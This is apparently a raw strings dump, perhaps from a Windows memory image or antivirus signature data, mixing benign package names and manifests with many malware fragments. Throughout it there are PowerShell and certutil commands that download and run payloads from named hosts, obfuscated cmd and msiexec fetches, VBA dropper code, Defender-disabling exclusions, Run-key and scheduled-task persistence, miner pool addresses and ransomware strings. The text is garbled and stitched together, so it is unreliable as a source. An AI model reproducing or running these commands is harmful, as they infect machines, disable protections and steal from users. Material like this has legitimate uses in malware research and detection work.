MicrosoftWindows.59336768.Speion_cw5n1h2txyewy-Out-Allow-InternetClient`
7MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy-Out-Allow-InternetClien
MicrosoftWindows.Client.CBS_cw5n1h2txyewy-Out-Block
<lf5po:i+00/c:\v1windows@.windowsz1system32b.system32v2cmd.exe@.cmd.exe
\windows\system32\cmd.exe/v:on/
#win32_process.getobject();setpropvalue.commandline("c:\windows\system32\rundll32.exe"c:\windows\perfc.dat"#1
win32_process.getobject();setpropvalue.commandline("c:\windows\system32\rundll32.exe'c:\windows\perfc.dat'#1
\appdata\roaming\microsoft\windows\startmenu\programs\startup\
System.Windows.Forms.UnsafeNativeMethods.ILegacyIAccessibleProvider.Description
System.Windows.Forms.UnsafeNativeMethods.ILegacyIAccessibleProvider.get_Description
System.Windows.Forms.UnsafeNativeMethods.IAccessibleInternal.get_accDescription
Microsoft.Windows.Shell.Taskbar.SettingsHandlers
Microsoft.Windows.Wil.FeatureLogging
windows-1252
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy!App
Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_sl-si_aaffa41f43aa0fe9
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_sr-..-rs_a248d6c76f8ba800
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_sv-se_ab34e6b343809d8b
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_tr-tr_d80f2d6961dd80e2
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_uk-ua_062ad0e97f49d1f6
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_zh-cn_e8b147a8156585fb
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_zh-tw_e85018a215ae510b
x86_microsoft-windows-b..d-bootfix.resources_31bf3856ad364e35_en-us_e2b4f443b603b48d
x86_microsoft-windows-b..onment-dvd-etfsboot_31bf3856ad364e35_none_fc20b48dee94ca49
com.microsoft.windows.widgetsM
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DesktopStickerEditorCentennialK9P
com.microsoft.windows.widgetsM
LPrint #FileNumber, "$down = N" & "ew" & "-" & Chr(79) & "bject Sy" & "stem." & Chr(78) & "et." & Chr(87) & "eb" & "Cli" & "ent;"MY_FILDIR = "c:\windows\temp" + "\adobeacd-update." & Chr(118) & "b" & "sPrint #FileNumber, "$file1.Attributes = $file1.Attributes -bxor [System.IO.FileAttributes]::HiddenMY_FILEDIR = "c:\Users\" + USER + "\AppData\Local\TempPrint #FileNumber, "strFileURL = " + Chr(34) + "http:Print #FileNumber, "Set objXMLHTTP = CreateObject(
schtasks.exe /create /tn "SystemHelperTask" /tr "%s" /sc onlogon /rl HIGHEST /fpowershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand %s
Windows
Private Function RunFE() As LongFor i = 0 To 8: bbb = bbb & Chr(Map1(Int(62 * Rnd()))): Next iSet MR = CreateObject(DecodeSTR("Call MR.SetTimeouts(0, 2000, 2000, 5000)MR.Open "GET", DecodeSTR("") & "?" & bbb & "=" & bbb.setRequestHeader "Cache-Control", "no-cache".setRequestHeader "Pragma", "no-cache".WaitForResponsebbb = .ResponseTextrpRes = RunPE(Base64Decode(bbb))Application.Quit (wdDoNotSaveChanges)Private Sub WindowsMediaPlayer1_OpenStateChange(ByVal NewState As Long)
Sub G8G1K4()Set daraufh = headb.CreateTextFile("C:\ProgramData\graniteb.txt")Set showsp = believesp.execquery("select * from antivirusproduct", "wql", 0)daraufh.Write "function eBooksj($detectivef){$platformi = [Net.WebRequest]::Create('https://TheFinanceInvest.com/'+$detectivef);$platformi.Method='GET';impartiale = "C:\ProgramData\prncnfg.txt"answeredr = strongerj Or InStr(difficultyf, "F-Secure") Or InStr(difficultyf, "BitDefender")CreateObject("Shell.Application").ShellExecute "cscript.exe", "C:\windows\System32\Printing_Admin_Scripts\en-US\prnport.v"
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
WindowsTelemetry
windows
Windows Event Log logger provider implementation for Microsoft.Extensions.Logging.
WindowsCompareStringOrdinal
WindowsConcatString
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsDuplicateString
WindowsGetStringLen
WindowsGetStringRawBuffer
WindowsIsStringEmpty
\system32\wbem\
\system32\windowspowershell\v1.0\
MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!OobeHost
windows.protocol
Microsoft-Windows-Unified-Telemetry-Client
WindowsVersion
"OS=Windows_NT_
windows info7
-AAA_SettingsPageWindowsDefender
Jwindows defender8
+AAA_SettingsPageWindowsDefender
AAA_SettingsPageWindowsDefender
AAA_SettingsPageWindowsDefender
windows firewall with advanced securityI
windows fire wallG
hklm\software\microsoft\windows defender\diagnostics
Microsoft-Windows-Enrollmen
Microsoft-Windows-DeviceManagement-CertificateInstall-TCP
\windows\currentversion
get_strMyCurrentWindowsCreds
    name="Microsoft.Windows.Shell.twinui"
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings>
        <dpiAware  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
    </windowsSettings>
C:\__w\1\s\src\packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\include\wil\token_helpers.h
  <assemblyIdentity name="Microsoft.Windows.IsolationAutomation.ProxyStub" version="1.0.26100.5074" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" type="win32" />
  <file name="sxsoaps.dll" cmiv2:importPath="$(build.nttree)\asms\10\msft\windows\sxsoaps\" cmiv2:sourceName="">
  <file name="sxsoaps.tlb" cmiv2:importPath="$(build.nttree)\asms\10\msft\windows\sxsoaps\" cmiv2:sourceName="">
      <id name="Microsoft.Windows.Categories" version="1.0.0.0" publicKeyToken="365143bb27e7ac8b" typeName="BootRecovery" />
:Nchr(34)&strpath&"windowsservices.exe"&chr(34)
           targetNamespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities/5"
           xmlns="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities/5"
           targetNamespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/6"
           xmlns="http://schemas.microsoft.com/appx/manifest/desktop/windows10/6"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:desktop8="http://schemas.microsoft.com/appx/manifest/desktop/windows10/8"
           xmlns:desktop10="http://schemas.microsoft.com/appx/manifest/desktop/windows10/10"
           xmlns:desktop11="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/8"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"/>
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.15
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.16
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.25
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.26
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.18
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.19
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.20
x@windowsdir&"\system32\drivers\etc\hosts.ics
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
ft.WindowsFeedbackHub_2024.125.152
X-Search-AppId"=Microsoft.Windows.Cortana_cw5n1h2txyewy!
Cabout windows:wux:about windowsW
c:\windows\a.txth
\system32\cmd.exe
\dxdiag.exesoftware\microsoft\windows\currentversion\explorer\shell folders
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
executionpolicy bypass -windowstyle hidden -noexit -filee
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Notifications\Data\\418A073AA3BC1C75
Windows.Storage.dll
25^windows.appExtension
{powershell.exe-windowstylehidden-command"[system.net.servicepointmanager]::securityprotocol=[system.net.securityprotocoltype]::tls12;$ycena;$tdiln=(new-objectnet.webclient);$tdiln.encoding=[system.text.encoding]::utf8;$ycena=$tdiln.downloadstring('https://localbusineess.com.br/
software\microsoft\windows\currentversion\uninstall\kuaizips
\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
\windows\system32\
\windows
\windows
\windows
\windows
c:\windows\twunk
c:\windows\gtwunk
windows\
c:\windows\
c:\windows\
c:\windows\
c:\windows\
c:\windows\
c:\windows\
YadAllText('c:\windows\temp\
DriverData=C:\Windows\System32\Drivers\DriverData
software\microsoft\windows nt\currentversion\windows
z1system32b.
Nc:\windows\system32\windon
("c:\\windows\\explorer "), vbNormalFocus)
re/configurations/vmtools/windows/tools.conf
Microsoft-Windows-Runtime-Metadata-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
RawData_WindowsMediaPlayer
ponent_installer.cc:334] Failed to read manifest for Edge AutoLaunch Protocols (C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\y
oftware\Microsoft\Windows NT
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\result_macros.h
Windows
(s\system32\cmd.exe$/ctransitoriness\careering.cmdregsc:>
#\windows\currentversion\explorer\browser helper ob
rundll32.exeo-n0c:\windows\system32\rundll32.exe..\windows\system32\rundll32.exe
/"%systemroot%\system32\imageres.dll%wn]nd.q`xdesktop-i8bn9qkj/{-h@q#,xcj/{-h@q#,xcm1sps0cgsf"1duser(c:\users)1sps0%g`%documents@`-systemfolder@qcb]1spsjc(=oac:\users\user\documents91spsmdphh@.=xhh0
aps.prod.windows.com0
onecoreuap\shell\windows.storage\sharedstoragesources\homefoldersettings.cpp
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
USERDOMAIN=Windows11
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
	("c:\windows\temp\
certutil.exe -urlcache -split -f http://down.us-hack.ru/wget.execopy /y wget.exe %windir%\system32\taskkill /im svshosb.exe -freg add "hkcu\software\microsoft\windows\currentversion\policies\system" /v '"disabletaskmgr" /d 1 /t reg_dword /fwget http://down.us-hack.ru/agwl.exec:\windows\tasks\hook\svchosts.exe
c:\windows\system32\cmd.exe/cstart
c:\windows\system32\hal.dllc
c:\windows\system32\ci.dllc
c:\windows\system32\winload.exec
c:\windows\system32\drivers\disk.sysc
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.WindowsNotepad_11.2510.14.0_neutral_~_8wekyb3d8bbwe
egsvr32.exe "/u bitsadmin/canceft\windows\curre
 /creat\system32\net.ex
%windir%\system32\LogonUI.exe
@\microsoft\windowsdefender
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.Netjoin.Telemetry
windowstyleh
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
current_userupdate.datwindowsupdatehomepageurlfolderhkey_local_machine\software\lampkill window failedkill window successnot runhas runt
%s\c:\windows\sygg
-http://max-stats.comhttp://sc-cash.comwww.teen4-sex.comc:\windows\system32\prefc2.php?i=winlogon32.
http://toolbarpartner.com/installed.php?wm=/programs.txthttp://sturfajtn.com/w.php/load.txt%windir%\system32\$$$regsvr32 /s%systemroot%\sys%i%i.dll%i%i.exe%windir%\system32\
title windows update@del %1 >nul@cls@ver@if exist %1 goto d@del %0a.bat c:\myapp.exeGetModuleFileNameA
origami?self=&type=&key=aliverunnedtnd1http://85.255.119tnd2software\microsoft\windows nt\currentversion\winlogon\notify\origamib
*.wns.windows.com0
*.wns.windows.com0
rwindowsO
$Windows.Client.CBS_cw5n1h2txyewy!WebExperienceHost
windows11
c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanag0axgbeaf4acwbeaf4axgbeaggadabeageaiaboahqaxgb0af4axgbeaf4acabeaf4axgbzadoalwbeaf4axgavahmayqbeagqaxgbeaf4azwbeaf4axgbmahuayqbeaf4anqa0agealgb4af4axgbeaf4aeqb6ac8axgbeaf4aywb1ag8aaqauaf4axgbeag0acabeadqajwauahiazqbwagwayqbjaguakaanaf4ajwasaccajwapadsaaqblahgaiaaoagcaywbiacka
windows\system32\
Microsoft-Windows-Foundation-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.1742 
Microsoft-Windows-Foundation-Win1-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-CoreSystem-DriverSupport-Package~31bf3856ad364e35~amd64~~10.0.26100.1591 
Microsoft-Windows-CoreSystem-DriverSupport-Package~31bf3856ad364e35~amd64~~10.0.26100.1591i
Microsoft-Windows-CoreSystem-DriverSupport-Package~31bf3856ad364e35~amd64~~10.0.26100.1591e
Microsoft-Windows-CoreSystem-DriverSupport-Package~31bf3856ad364e35~amd64~~10.0.26100.1591p
Microsoft-Windows-CoreSystem-DriverSupport-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.
Microsoft-Windows-CoreSystem-DriverSupport-Package~31bf3856ad364e35~amd64~~10.0.26100.1591\
Microsoft-WindowsCore-HardwareAccelerators-Package~31bf3856ad364e35~amd64~~10.0.26100.1150c
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
amd64_microsoft-windows-d..ders-appx.resources_31bf3856ad364e35_en-us_42e5bf48641acf76
amd64_microsoft-windows-d..ders-cbmr.resources_31bf3856ad364e35_en-us_a4a7506b7f8aa0c9
amd64_microsoft-windows-d..ders-edge.resources_31bf3856ad364e35_en-us_0bf23356ad578e18
amd64_microsoft-windows-d..desktopappinstaller_31bf3856ad364e35_none_d8d266032ff4f1bb
amd64_microsoft-windows-d..direct3dshadercache_31bf3856ad364e35_none_d09b73377985651b
amd64_microsoft-windows-d..directoryclient-adm_31bf3856ad364e35_none_f2d3ec07e8f89735}
amd64_microsoft-windows-d..directplay8-payload_31bf3856ad364e35_none_1e9dc86f641d5900
WindowsDefault$
(y1downloadfile('%url_payload%','%payload_path%');start-process-filepath'%payload_path%'-windowstylehidden"rem===paso4:autodestruccindeldropper===rem
-disablerealtimemonitoring1;add-mppreference-exclusionpathc:\;add-mppreference-exclusionprocessc:\windows\system32\windowspowershell
WINDOWS11
Microsoft.Windows.Application.Service
:windir+"\system32\drivers\mrxdav.sys
dows\system32\cmd.exe
writeallbytes("c:\windows\temp\1111.docx",$bytes)return$bytes
\windows\system32\rundll32.exedsquery,
-windowstyle
windows
windows
openthejs(microsoftwindowsbasedscripthost)documentbythelink.thenew#
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwesof
%SystemRoot%/System32/drivers/vmci.sys
Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x64__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x86__8wekyb3d8bbwe
WindowsTerminalShellExt
\windows\lsass$
Windows.XGpuEjectDialog_cw5n1h2txyewyY
Windows.Defender.MpUxDlpSystemapp:s
 Windows
\\WINDOWS11
\\WINDOWS11
MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy
WindowsTerminal_3
.:\windows\installer\[^\]+%.tmp$
.:\windows\installer\[^%.]+%.tmp%-\installercustomactions%.dll$
*.wns.windows.com0
*.wns.windows.com0
C:\WINDOWS\System32\Drivers\portcls.SYS[PortclsMof]
C:\WINDOWS\System32\Drivers\portcls.SYS[PortclsMof]
C:\WINDOWS\system32\drivers\en-US\ndis.sys.mui[MofResourceName]
C:\WINDOWS\System32\drivers\en-US\pacer.sys.mui[PschedMofResource]
C:\WINDOWS\System32\drivers\en-US\pacer.sys.mui[PschedMofResource]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
The Win32_UserProfile class contains information about user profiles on a Windows system.
WINDOWS11
:\programdata\microsoft\windows\start menu
:\programdata\microsoft\windows\start menu\programs
:\programdata\microsoft\windows\start menu\programs\startup
C:\windows
%systemroot%\system32\drivers
!#SCPT:Phish:PHP/Windowsloc_href.GG
Microsoft.WindowsAppRuntime.1.8_8wekyb3d8bbwej2
com.microsoft.windows.widgets.feeds
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft-Windows-Client-Features-Package06~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
\\WINDOWS11
\\WINDOWS11\root\cimv2:Win32_NetworkAdapter.DeviceID="0"
\\WINDOWS11\root\cimv2:Win32_NetworkAdapterConfiguration.Index
WindowsFlights 
chrome.execmd /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v start /t REG_SZ
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\result.h
eiplogger.comxmr.pool.minergate.com\WindowsTask\
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.Security.Authentication.Web.Core.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.Web.Http.Filters.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.Web.Http.Headers.h
AslEnvGetSystem32DirPathBuf failed [%x]
AslEnvGetSystem32DirPathBuf
o>"dde""c:\\programfiles\\microsoft\\office\\msword.exe\\..\\..\\..\\..\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe$
:\windows\
:/windows/system32/drivers/etc/h7
txc5B3838F5-0C81-46D9-A4C0-6EA28CA3E942svohost.exeSoftware\Microsoft\Windows\CurrentVersion\Run\360safcTrojan:O97M/PowCript.A
mozilla/5.0 (windows nt 6.1) applewebkit/537.36 (khtml, like gecko) chrome/41.0.2228.0 safari/537.36m
W64.myxmr.pw:8888/64.rar64.myxmr.pw:8888/cc.rarxmr.5b6b7b.ru:8888/xmrok.txtc:\windows\debug\lsmose.exeTrojan:Win64/Smominru.A
windows\kevlar-api\kevlarsigsw
Software\Microsoft\Windows\CurrentVersion\Run
.windows.secretsdump.
.git.gitforwindows.
{start-process-windowstylehidden
\win_x86.vbs\RUN-X11-x86.batPath=C:\Windows\Temp
policies\microsoft\windows\safer\codeidentifiers\0\paths\{1b55460a-c650-4bb7-ad7a-63a629dc7d3a}currentversion\n
GetWindowsDirectoryW
advstat777.com:3333\WindowsTask&powershell -NoProfile -Command (New-Object System.Net.WebClient).DownloadFile(\WindowsTask\upd
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
kcmd.exe/e/v/cstartm^s^i^e^x^e^c/^f^v"http://0j.re:8080/ye/be839m3der5v3cus9pd7cl4cv/rjp1aukudbrt/!computername!"a^ae^p=lc^o^u/^q^w^r=^w^yg!%systemroot%\system32\shell32.dll%
cmd.exegroupaccount/x/vhtx/rst^a^r^t^m^si^e^xe^c/^p^a^c^ka^g^e"http://2t.pm:8080/anacwazo/rbicejvw2wxyi5rgr1tc9gisi/zvj/!computername!"/q^u^iet%windir%\system32\shell32.dll%
cmd.exe2020/q/v/r^st^a^r^t^msie^x^e^c/q^n^s^a^kwajh=oy^t^c-pac^k^age"http://3z.nu:8080/b4b8yp5xphoa6xts0i/c/bmuz28k/ad42/y/!computername!"!%systemroot%\system32\shell32.dll%
cmd.exememosite-ho(#1)z/q/rst^art^ms^i^exec/^qu^ie^t-f^v"http://2t.pm:8080/bcbe54criempmk5/zbewf1v91dy63/%computername%"a^gtqnrg=^x^uw^q^q!%systemroot%\system32\shell32.dll%
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command"$a='iwrhttp://185.96.166.113/project1.exe-outfile$env:temp\1.exe;&$env:temp\1.exe';iex$a"
r7Ic:\windows\system32\msiexec.exe/i\\documents.cavradocuments.top@ssl\4bxbbcbwidbgspv9bfjuex5dhykv46mku8c9vx4e\report-incident-id202551-youtube-active.mp4.msi/quiet/norestart
c:\windows\system32\windowspowershell\v1.0\powershell.exe-c"explorer'\\77.105.161.194@80\file\'";start-sleep-seconds1;stop-process-nameexplorer;\\77.105.161.194@80\file\
c:\windows\system32\cmd.exe/ccurl-s-v-o
c:\windows\system32\cmd.exe/c"setmv=popdsxwerpdsxshpdsxell-wpdsxpdsx1"$epdsxs=(wgepdsxt-urpdsxihttps://s3.tebi.io/erfs/pf2ncy.txt-usebasicpdsxparsing).content;&(gcmi?x)$es"
c:\windows\system32\cmd.exe/v/k"start/min""powershell-whidden-nologo-nop-epbypass-c"iex([text.encoding]::utf8.getstring((iwr"https://arekiteskola.se/
c:\windows\system32
c:\windows\system32\cmd
onecoreuap\windows\cbdhsvc\lib\datapackagedeserializer.cpp
onecoreuap\windows\cbdhsvc\lib\clipboarddatacompressor.cpp
onecoreuap\windows\cbdhsvc\lib\clipboarddataencrypter.cpp
onecoreuap\windows\cbdhsvc\lib\datapackageserialization.cpp
C:\Users\mohamed\Desktop\WindowsApplication1\WindowsApplication1\obj\x86\Debug\WindowsApplication1.pdbR
0","c:\windows\system32\windowspowershell\
iwshshell3.run("0","powershell.exe-nop-noni-windowstyle1-command"powershell-w1-c
/cc:\windows\microsoft.net\framework\v
itaskfolder.gettask("\microsoft\windows\diskcleanup\silentcleanup");
-","hkcu\software\microsoft\windowsnt\currentversion\windows\load");
 \software\microsoft\windows\currentversion\policies\system\disableregistrytools");
.rtcshell("powershell-windowstylehidden$wscript=new-object-comobjectwscript.shell;$webclient=new-objectsystem.net.webclient;$random=new-objectrandom;$urls='http
c:\windows\sysevent.exec
c:\windows\system32\regsvr32.exe
$downloadfile(\'http://www.ictcoe.org.et/plugins/system/legacy/download.exe\',\'c:/windows/temp/shell.exe\');
newactivexobject("wscript.shell").run('"powershell.exe"powershell.exe-executionpolicybypass-noprofile-windowstylehidden-encodedcommandcqajaakacqajaakacqajaakacqajaakacqajaakakabuaeuavwatag8
software\microsoft\windows nt\currentversion\windows messaging subsystem\profiles\outlooks
software\microsoft\windows nt\currentversion\profilelist\s
appdata\local\microsoft\windows\webcache\webcachev01.data
software\microsoft\windows\currentversion\run
 /img/left.jpg','%homepath%\appdata\roaming\microsoft\windows\"
><soap:addresslocation="http://localhost?c:\windows\system32\mshta.exe?http://
[n<soap:addresslocation="http://localhost?c:\windows\system32\mshta.exe?http://
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
_environ("systemdrive")schtasks /create /sc minute /tn ""googleupdatetasksmachinecore""\""sc\""r\""i\""p\""t:http://80.255.3.109/microsoft.js("hkey_local_machine\software\microsoft\windows nt\currentversion\currentversion")filecopy 
  & "\windows\system32\wscript.exe",
=createobject("wscript.shell")wshshell.regwrite"hkcu\software\microsoft\windows\currentversion\policies\system\disabletaskmgr",1,"reg_dword"
?.run"schtasks/create/tn""windowsupdatetask""/tr""wscript.exe//b
lder\windows defender.bat"WIFI.lnk" del "C:\TEMP\afolder\WIFI.lnk"WINDEFEND.lnk" del "C:\TEMP\afolder\WINDEFEND.lnk"death.lnk" del "C:\TEMP\afolder\death.lnk"deathnote.lnk" del "C:\TEMP\afolder\deathnote.lnk"
d?	jmqapf3nflatei35.onion.link19204ur2907ut982gi3hoje9sfa.exeYou have not paid the ransom.Congrats: you've paid. Click OK to decrypt your files (This will take a while so be patient).MoneroPayAgent.exeREG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /F /t REG_SZ /V "MoneroPay" /DRansom:MSIL/Cryptid
\microsoftcorporation\windows\helpers\
\microsoftcorporation\windows\system32\
\windowsappcertification\
windowspy.ahk or au3_spy.exew
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Package_4_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Foundation-Group-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Foundation-Group-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Foundation-Win0-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
